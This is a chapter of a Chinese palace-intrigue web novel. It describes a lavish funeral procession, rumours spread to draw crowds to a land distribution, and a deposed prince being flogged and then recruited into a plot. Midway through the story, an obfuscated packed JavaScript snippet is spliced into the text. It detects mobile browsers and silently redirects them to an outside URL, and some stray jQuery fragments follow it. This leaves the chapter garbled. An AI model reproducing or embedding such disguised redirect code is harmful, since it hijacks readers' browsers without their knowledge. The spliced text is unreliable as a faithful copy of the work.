91. 素衣相辞
作品:《女相训狗亡国记》 三月二十,厚云扯不开的旧棉絮似的,将整个临邺城都遮得灰蒙蒙的,加上沿路的祭棚浩浩荡荡地连着,内里白烛的火光将棚中人的影子投在祭棚的白麻布上,一有风过,那些人影便晃得厉害,虽是白日,仍显得鬼气森森。
大皇子禁足,四皇子贬斥,百官中的那些墙头草便将目光皆投到了这个他们从前正眼都不瞧一下的七皇子身上,他们不知此事始末,只知七皇子特地入宫为今日下葬的两个仆妇求五品命妇的规制,而皇帝准了。
官员们个个打着要讨好这位七殿下的算盘,路祭设得一个赛一个铺张,竟将临邺城所有的主街全铺满了白。
别院里,元珵已换好一身素衣,腰间系了麻布的腰带,等着到时辰为柳荷柳莲发丧。
孟冬辞领着林融霜到前院的时候,正见元珵坐在地上,头倚在棺椁旁,眼圈儿有些红。
孟冬辞走近,掌心覆上棺椁的一角,轻声叫他的名字。
“你怎么……”元珵抬头,见孟冬辞也换了一身白衣,钗环尽取,再一偏头,林融霜竟也是如此。
“柳姨莲姨待我好,我虽不能像你一样穿戴,好歹是个心意,咱们有别的事要做,不能跟着送葬,但只月娘和齐管家,真遇见事恐压不住,融霜跟着是最稳妥的,”她朝元珵伸手,问,“在想什么?”
“今晨起来,之前的玉冠没找着,想去问柳姨,出了门才想起来……”元珵借着孟冬辞的力站起身,扫平衣裳上的褶皱,垂下眼,“往后这别院,就更冷清了。”
孟冬辞虚握一下元珵的手,回身叫林融霜:“融霜,我与元珵要先去见他三哥,赶到虞市分田会晚些,你压着队伍慢慢走,两处要紧,一,务必叫百姓官员们都看清了这次礼葬的规制,二,自北往西走,最后南门出城,将人都聚到虞市附近去。
“另,到怀远街时,记得更慢些。”
林融霜应好。
“林……”元珵咽下没出口的名字,朝林融霜抱拳一揖,“多谢你。”
林融霜自到别院没怎么给过元珵好脸色,今日却也不免觉得他可怜,因而摆摆手:“劳烦殿下护好我阿姐。”
这头话音落,齐管家与徐月娘一道自照壁后转过来:“殿下,皇子妃,时辰到了。”
元珵退后一步,下跪叩首:“柳姨,莲姨,深谢你们多年视我如亲子,和安不孝,今日最后的路,恕和安不陪你们走了,怀远街上,常易在等着,若你二人魂灵仍在,可要多瞧他一眼。”
待棺椁出门,元珵回身去牵孟冬辞,孟冬辞却曲起手指,在他眼尾处蹭了一下:“缓口气,出了这别院,你只能是七皇子。”
*
安平书局旁边是一家药铺,那药铺的掌柜早起见书局设了路祭,心下奇怪,便敲门去问缘由,已乔装过的周池开门应声,与他说了原委。
“难怪书局生意如此好,往来皆是达官贵人,”药铺掌柜挠头笑问,“我也想沾沾贵人的光,现在搭个棚子,可还来得及?”
“来得及,”周池笑道,“听说队伍会先走北边,到怀远街,算算时候,怎么也要辰时末才到咱们这儿,且等着呢。”
“这下葬的人,究竟是个什么身份?竟如此铺张?”药铺掌柜压着声音,“我昨儿出城采药,回来的时候便见有的人家门口已开始搭棚子了,咱们临邺,可有好些年没这么‘热闹’了。”
“说来你大抵不信,”周池睨见后边过来个倾脚头,便有意抬高了声音,“这二人,是七殿下别院的仆妇,自小跟在他身边照料的,出门采买时惨遭歹人毒手,七殿下悲恸不已,亲自入宫去给这两个仆妇求来了五品命妇的规制。”
“五品?”那倾脚头听见,果然上前搭话,“今上怎会答应?”
“他怎么能不答应,”周池神秘兮兮地一笑,“听说这两人,就是他授意杀的。”
“天子,杀两个仆妇?”药铺掌柜面露疑色,“周掌柜这话是在哪儿听的,莫不是胡编罢。”
“是与不是,那些大官能不知道么?”周池压着声音,“今上老迈,这皇位迟早要交到儿子手里,但你瞧瞧,如今那三个皇子,哪个最风光?”
“那自然是大殿下,”药铺掌柜立刻接话,“那可是嫡出的皇长子,七殿下与他怎能相较?”
“错了,错了,你且瞧瞧官员们的态度便知道了,”周池说得模棱两可,又转向那倾脚头,问,“这位老兄,我总在这街上见着你,你这活又脏又累,莫不如去置办一亩半亩的好田种了糊口罢。”
“这话说得可真是……周掌柜这是‘何不食肉糜’了,莫说这位老兄,就是我,守着这么大的药铺子,也是买不起田地的,”药铺掌柜长叹一声,“早年我手里有祖上传下来的两亩半地,种着药材,勉强分出一亩来种粮,不想还没到秋收,便让官府的人强收了去,说是普天之下莫非王土,百姓们自己种不出好粮,不如将土地一应上交朝廷,由朝廷着专人种了,再给我们分发粮食,可这也过了七八年了,我是一粒粮食也没见着。”
那倾脚头连连应是,与周池道:“掌柜您瞧着像是读过书的,自然不知我们这些人的苦处,咱们临邺的地,是只卖给富贵官员的,你们或许能租,像我们这样的下等贱民,是租都租不成的,只有多多做活,去跟人高价买粮。”
“竟是如此?”周池惊道,“我早年都在外头做游商,还真不知临邺竟是这样的,既田地如此金贵,怎地那七皇子,竟带着皇子妃在城东南角的虞市分田呢?”
“分田?”倾脚头大惊,“分什么田?”
“你领着个这么四通八达的活计,竟不知分田的事?”周池伸手拍拍他的肩膀,“前日在宫门口自刎的那贪官瞿众,临死前将私库钥匙给了七皇子,七皇子见里头金银地契无数,入宫求了陛下,说是要还田于民,这会儿应该已经在虞市那边等着人多了分了,我当你有差事才没去。”
“我不晓得此事啊,”那倾脚头推起车便走,走了两步又折回来,问周池,“我这样的贱民也能领?”
“老兄好有意思,归田于民,还分贵贱么?”周池说罢,又转向那药铺掌柜,“你当年被抢的地,若有地契,此番或也能要回来,去么?”
“去,就算要不回,去瞧个热闹也好,传闻那七皇子生得凤表龙姿,皇子妃更是惊为天人,活的贵人,怎能不去看一眼?”药铺掌柜说罢,又疑道,“不对啊周兄,今日下葬的,不是七皇子别院的人么?他要来了规制,却不跟着送葬,转身分田去了?”
“这我就不知了,许是那七皇子分得清轻重,把百姓当回事罢,”周池说罢,又与那倾脚头嘱咐说,“也不用太急,好些看热闹的人都不晓得此事,那边分田,怎么也要等到人到的差不多了才好分,不然你多我少的争执起来,又是一场乱子,你过去时,将此事多多说与人知道,人多了,或能早些分也未可知。”
倾脚头答应着,三步并两步地推着车跑了。
书局转角,一个小厮打扮的男子转了转眼睛,一溜烟跑了。
那头林融霜领着送葬的队伍,浩浩荡荡地,已走到了宝和街,沿途设路祭的人家洒下的纸钱,被风裹在半空迟迟不落,地面也铺着厚厚一层,积雪似的。可转弯路过个没设路祭的宅邸时,那家的大门砰一声关上了。
徐月娘小声问林融霜:“林姐姐,我认识的字不多,这是谁家?”
“御史中丞,邱大人家,”林融霜睨了一眼那紧闭的大门,回身吩咐齐管家,“让后边笙钹唢呐,都大声些。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467984|174735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不多时,哀乐声响彻宝和街。
转过宝和街便是怀远街,林融霜远远瞧见书局前的祭棚,又叫队伍慢下来,于周边设路祭的,几乎是一步一谢。
书局门口,陆羽一身缟素,见棺椁靠近,掀袍下跪,深深叩首,久不起身,直到队伍消失在视线里。
*
城内哀乐绵绵,城外的会灵观却一派肃静,唯竹条抽在人皮肉上的声音明晰非常。
已被褫夺皇子身份的元棣,正横趴在刑凳上,只穿着里衣,后腰到膝上的皮肉明晃晃地,那竹条,正是抽在他身上的。
一个小道在旁高声数着:“三,四,五,六……”
数到第十三下时,忽地有人一把将他推开,又将掌刑的侍卫一脚踹远,跟着,一件斗篷盖在元棣身上。
元棣木然地偏过头,正见元轲一脸的关切。
“狗奴才!”元轲回头骂了被他踹倒的侍卫一句,“看清楚了,这是皇帝的儿子,是我的亲弟弟,你竟如此辱他!”
“大哥来了,”元棣反手扯掉了自己身上的斗篷,与那侍卫和小道说,“接着打,打完,我好与大哥说话。”
“我在这儿,没人敢打你,”元轲伸手要扶元棣起身,“这些下人见你落难,没得欺辱你,大哥给你做主,那日父皇是气昏头了,前日他因我岳父遭人陷害让我禁足避嫌,可今日我出来,他不是也没说什么?”
“大哥与元珵联手,清查六部,排除异己,逼死我老师,让父皇贬我至此,如今却来关照我被不被人欺辱,此举,可算是猫哭耗子了,”元棣冷笑,抬手将元轲推远了些,淡淡道,“接着打。”
竹条落下,小道接着数道:“十四,十五……”
二十下打完,元轲又上前,用斗篷将元棣裹了,扶他站起身,问:“四弟,疼罢?可要请太医来瞧一眼?”
“那么细的竹条,能打多疼,”元棣摇摇晃晃地往屋里走,“父皇不过是顺着老七的意思辱我,来换他的孝敬。”
“先前是大哥识人不明,上了老七的当,”元轲追上元棣,搀着他往里走,“四弟可知,今日,老七带着他那皇子妃,在虞市边上给百姓分田,这是在聚人心啊。”
元棣头也不抬:“我如今庶人一个,与我没有干系。”
“不只如此,我岳父的探子来报,说他们去虞市前,还见了一个人,”见元棣不理他,元轲自个儿接上话,“他们去见了老三,四弟,你不觉得奇怪么?老三手握全境兵权,此番在京留的时间未免太久了,况且,他怎会知道京中在查贪腐,大老远的跑回来呢?”
“老七想争,自然要兵权,老三频频与他见面,说明已有打算,”元棣偏头,似笑非笑地睨了元轲一眼,“大哥,做弟弟的劝你一句,老七身边那女人,是个心狠手辣的邪物,这临邺城的里人祸,无不因她而起,你与她斗,就你这个身份,迟早没命,但你若不与老七撕破脸,他或许能留你苟全人世。”
“四弟是败了一局便没了心气儿,”元轲见元棣进了屋内便颓然往地下蒲团上一跪,旁若无人地阖起眼,便冷笑道,“一个后宅上不得台面的女人,便将你吓破了胆么?无论她是个什么邪物,能以一人之身,挡住数万铁蹄么?”
元棣这才睁了眼。
元轲见状,蹲下身,神秘兮兮地一笑:“我岳父的探子,不只探着了消息,还偷来了老三着人送给老七的一样东西。”
说罢摊开掌心,将一物展给元棣瞧:“四弟瞧瞧这是什么?”
通体纯金,四头七尾……元棣蓦地抬眼。
“那老七是异族妖女所生,你我才是亲兄弟,无论你我谁坐龙椅,也不该轮上他,”元轲抓住元棣的小臂,眯了眯眼,“富贵险中求,四弟,你敢不敢?”

